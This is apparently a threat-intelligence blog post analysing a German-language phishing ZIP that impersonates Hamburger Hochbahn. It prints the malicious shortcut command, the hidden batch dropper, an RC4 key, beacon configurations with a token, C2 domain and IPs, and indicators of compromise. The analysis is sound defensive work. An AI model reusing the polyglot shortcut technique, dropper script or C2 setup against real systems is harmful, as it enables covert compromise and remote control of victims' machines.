hamburger hochbahn initial access campaign
Clicking the .lnk
This Tweet from MalwareHunterTeam led me to a sample (SHA256: 1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885) that initially seemed interesting, as it appeared to be targeting a German audience. It is a ZIP archive containing only one file: Datenschutz_Update_2025_2.pdf.lnk (SHA256: 4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129), which does not have the Hidden attribute set. As a result of these attributes, in the default configuration (file extensions hidden, hidden files not shown) only the .lnk file is visible to the potential victim who opens this archive.
Get-ChildItem -Force | Select-Object Name, Attributes
Name Attributes
---- ----------
CACHE.DAT Hidden, Archive
CACHE.DAT.BAK Hidden, Archive
counter32.node Hidden, Archive
Datenschutz_Erklaerung.pdf ReadOnly, Hidden, Archive
Datenschutz_Update_2025_2.pdf.lnk Archive
IconCache.bat Hidden, Archive
This shortcut is not a simple reference to a PDF file for viewing. Instead, the absolute path points to C:\Windows\System32\conhost.exe and it also includes the arguments --headless %cOmSPec% /c cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') do findstr /b /r ".confirmedline" %f > %localappdata%\icon_update.bat && forfiles /p %LOCALAPPDATA% /m icon_update. /c "cmd /c @PATH" This is a classic tactic to cause the user to execute something they did not realize they were executing. Scripts and follow-up binaries can be launched without the user noticing. Concretely, these parameters cause the following:
%cOmSPec% /cstarts the Windows command shell (viaconhost.exe) and the--headlessparameter hides the child process window.cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') dochanges to the current user’sAppData\Local\Tempdirectory and iterates over all files that begin withDatenschutz_Update_2025_2.findstr /b /r ".*confirmedline" %f > %localappdata%\icon_update.batsearches each of those files for lines ending withconfirmedlineand writes each matching line into a new file namedicon_update.batin%LOCALAPPDATA%.forfiles /p %LOCALAPPDATA% /m icon_update.* /c "cmd /c @PATH"then executes every file in%LOCALAPPDATA%whose name starts withicon_update.
Executing icon_update.bat
Only a single file matches the searched filename pattern: the .lnk file itself. This is a polyglot file, because after extracting the additional lines that end with confirmedline you get a valid batch script:
:: Unzip the file &:: confirmedline
mkdir %LOCALAPPDATA%\IconCache &:: confirmedline
tar -xf %USERPROFILE%\Downloads\Datenschutz_Update_2025_2.zip -C %LOCALAPPDATA%\IconCache &:: confirmedline
move "%LOCALAPPDATA%\IconCache\Datenschutz_Erklaerung.pdf" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
start "" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
cd "%LOCALAPPDATA%\IconCache" &:: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE1.DAT & :: confirmedline
move CACHE.DAT.BAK CACHE.DAT & :: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE.DAT.BAK & :: confirmedline
move CACHE1.DAT CACHE.DAT & :: confirmedline
This script (if you ignore the comments appended with :: confirmedline) performs multiple actions: It first extracts the entire ZIP archive, including the previously mentioned but so far unused files, into %LOCALAPPDATA%\IconCache and moves the real PDF file to %TEMP%\Datenschutz_Erklaerung.pdf. Next, it opens this PDF file with the default PDF viewer and displays it to the user as expected. This serves as a distraction: after clicking the .lnk file, the user ultimately sees a PDF with valid content that matches the file name. It is the actual 25-page privacy policy of the Hamburger Hochbahn.

Besides this, the script performs something more sinister in the background, unseen by the user. It changes to the previously created directory and then launches another script from the original ZIP file, IconCache.bat, again via conhost.exe with the --headless parameter. This IconCache.bat is a one-liner that, in turn, executes counter32.node (an exectuable, SHA256: 95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B which is also included in the archive) via msiexec. Afterwards, it waits 40 seconds, renames the file previously called CACHE.DAT to CACHE1.DAT, and replaces it with the file that was previously CACHE.DAT.BAK, renaming it to CACHE.DAT. Then the IconCache.bat script is executed again, waits another 40 seconds, and finally (pointlessly) reverts the filename changes.
Decrypting CACHE.DAT
The previously mentioned counter32.node binary is highly suspicious. Although it is signed, the certificate has expired and is known to be a legitimate code-signing certificate from NVIDIA - a certificate that was stolen in an attack made public on 28 February 2022. It can be identified by the thumbprint 30632EA310114105969D0BDA28FDCE267104754F and has since been used by various criminal actors, including Iranian state-sponsored actors.
$sig = Get-AuthenticodeSignature ".\counter32.node";
"Signer: $($sig.SignerCertificate.Subject)";
"Thumbprint: $($sig.SignerCertificate.Thumbprint)";
"NotBefore: $($sig.SignerCertificate.NotBefore)";
"NotAfter: $($sig.SignerCertificate.NotAfter)"
Signer: CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Thumbprint: 30632EA310114105969D0BDA28FDCE267104754F
NotBefore: 07/28/2015 02:00:00
NotAfter: 07/27/2018 01:59:59
An analysis of this binary quickly reveals its actual purpose: the file itself is not intrinsically malicious. It serves a single function: decrypting, loading and executing additional executables that are hidden inside the previously mentioned CACHE.DAT files. To do this it uses a trivial API-hashing routine to stealthily import various functions, including SystemFunction032 from Cryptsp.dll, a known interface that can be used to apply RC4 encryption.
ReadFile("CACHE.DAT",&local_10,&local_18);
local_38 = 0x316e643064323930;
local_30 = 0x62676c446e3064;
uStack_29 = 0x6e643170;
ObfuscatedRC4Call(&local_38,local_10,0x13,local_18 & 0xffffffff);
For this, a hardcoded key in hex is used: 1nd0d290bglDn0dnd1p. Since the previous script executes this binary twice, and the CACHE.DAT file changes in between, both hidden files are decrypted and executed with a 40-second interval.
First loader and outlook beacon
Both decrypted files that are loaded one after the other share the same structure: each is both a Rust-written reflective_loader.dll and, at offset 3200, a beacon.dll which is loaded and executed. The two versions (from .DAT and .DAT.BAK) differ at first glance only by their respective configurations, which are embedded in the binary in .toml format.
transport_size = 3145728
sleep = 60
jitter = 30
connection_info = "1.AUEBOYFWJn57g0-PeqZsLbgC9HiO7B_kvK9KqxtUUcw4cmRBAZtBAQ.AgABAwEAAABlMNzVhAPUTrARzfQjWPtKAwDs_wUA9P8L1bBdZPzBBnV46TeM6eZpp31VFCaY1l9lInZBQLPpBolNazkhb6jw-bRw2K6mLyETsr6zVbZqtglklFM9PC-drYDI8ClRiCQ0CCB1ELgFTsy7I4Kvkzq1boRFAZMsy902qkpGcHggvNxTo12CAl-_fbZ91qDxDu6z1nPEH2asDqNqLaMlO7fDF6R5B-fQyqt89d9qezDLmdgD0BIVhN3GxAH_L82mAW95VOr3wwV5eB7yS5zwGtpVu6t3GRMO9paD7GB9S2HwYzXVteljZxK3KGh2xDfB_VFpk9u69XRgikE7JUlrs7ZoSuPnwKmm0odqN6yf1Fdibg8wnFk59W2B9IUOJadDtLqA5xS9BtwBQlhw8MqztI3Q-EcUDHCX-45WWZpX6avNG3Av-UAwS4Hxl-5i4A_HMJ6f9zNXFq4vrRClFNhhuEO7zIoDDZzA6Qo_x0kbWDFwraXF7yjBCaRW6LLDk2GlB5fhuEuMV33cpZUwFPQJLmAfQRl6wIK2bSzar2wuN-B9af4hR1KyXZM-h3Ar_7jB8FMVLaZBDDtfkaKvKnytd2gzvFYWWGjNH8uHho2ib5YgrbqIshv8qtk3IY9-srXdiYo0PHEZ-_59E6dhXPwsvEkCKV15_iZbDLrpq9xqpO6ynuXmkGeX45FkJ1wlM3mzNZ2BGVGtKYDgSaZ06wotlPr0j-BgfTkbMTUcNZihB2Tb7US6vcaecfrUsIpGXMmUdXYhjBeAdFXmGsr0pAKhA64"
message_encoding = "base64"
message_length_prefix = false
[outlook_beacon_config]
attachment_filename = "music.wav"
This first beacon is notable for containing an outlook_beacon_config block and for holding a Microsoft refresh token as its connection_info. This likely implements functionality similar to what is described in this repo by boku7. Using the token, the beacon attempts to connect to a Microsoft tenant and communicate via the mailbox Drafts folder, working with attachments named music.wav. A check of the token to look for any further communication returned nothing at the time of this report — the response indicates the token was likely already revoked:AADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2025-10-17T15:17:01.1225346Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2025-10-30T10:07:36.0000000Z'. Trace ID: cc4d5c4a-fdcb-4986-a39b-1fbfd5fa7d00 Correlation ID: b660ca58-cadc-4f53-915c-5c669082cead Timestamp: 2025-10-31 19:57:24Z
Second loader and dns beacon
The second beacon features a rather classic dns_beacon_config block to establish a connection over DNS, using well-known variable names from other Malleable C2 configuration. It also includes a connection_info entry that provides an additional hint pointing to the Hamburger Hochbahn: cdn.hamburgerhb-konzern.de - a dedicated domain bearing the companys name so it blends into regular traffic.
transport_size = 8192
sleep = 60
jitter = 30
connection_info = "cdn.hamburgerhb-konzern.de"
message_encoding = "base32"
message_length_prefix = false
[dns_beacon_config]
max_transport_size = 8192
dns_metadata = "130.162.214.241"
dns_idle = "20.79.104.216"
dns_commands = "23.20.160.5"
dns_v6_metadata_response = "2600:1f01:4874:0010:0250:56ff:febd:e6ac"
dns_max_qname_length = 253
dns_max_label_length = 63
In this case the check also returned no results: the DNS record was resolved the day before to the configured IP (according to VirusTotal), but that IP has no known history or publicly documented open ports or additional payloads.

Further analysis of the beacon itself also reveals a number of Beacon commands are defined that match known C2 functionality.
struct variant BeaconCommand::BeaconExit
struct variant BeaconCommand::BeaconSleep
struct variant BeaconCommand::Download
struct variant BeaconCommand::LoadBof
struct variant BeaconCommand::PivotAdd
struct variant BeaconCommand::PivotData
struct variant BeaconCommand::PivotRemove
struct variant BeaconCommand::RportfwdData
struct variant BeaconCommand::RportfwdStart
struct variant BeaconCommand::RportfwdStop
struct variant BeaconCommand::RportfwdStopSession
struct variant BeaconCommand::Shell
struct variant BeaconCommand::SocksData
struct variant BeaconCommand::SocksStop
struct variant BeaconCommand::UploadData
IoCs
| Datenschutz_Update_2025_2.zip | 1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885 |
| Datenschutz_Update_2025_2.pdf.lnk | 4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129 |
| IconCache.bat | 1C2E4910BB98A084198B0726BC64D88CAF4C3D8414D7B51B32CA91660A4D4AB4 |
| counter32.node | 95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B |
| CACHE.DAT. | 17D98067FFACC9DAB85606BE2A1C68E05B71B77DAD974079F15609590CB4663B |
| CACHE.DAT.BAK | C0C4BE879CAC78F1179FD3CFA44E466C657BE4EC29BEF96B1E7204983E8F0C43 |
| CACHE.DAT_reflective_loader.dll | 19080CB556B34BC17696D63EF54582D2D46976D09775965AA8E499234B87150D |
| CACHE.DAT_beacon.dll | 149709BB4C016D8EE873602D5BA4D79FA2B7A8F88B1D12D097F05FBB3243ABC2 |
| CACHE.DAT.BAK_reflective_loader.dll | F6A1AF825E290EC6C2A3EEA1F611FBED4E46BE9F2F1867379C67347A71EACDCD |
| CACHE.DAT.BAK_beacon.dll | A22D7AE38B11A436FAE8702519988038655D80ABEC04F250C93FDBCE10C0FC1A |
| leaked signing cert | 30632EA310114105969D0BDA28FDCE267104754F |
| connection_info | cdn.hamburgerhb-konzern.de |
| dns_metadata | 130.162.214.241 |
| dns_idle | 20.79.104.216 |
| dns_commands | 23.20.160.5 |
| dns_v6_metadata_response | 2600:1f01:4874:0010:0250:56ff:febd:e6ac |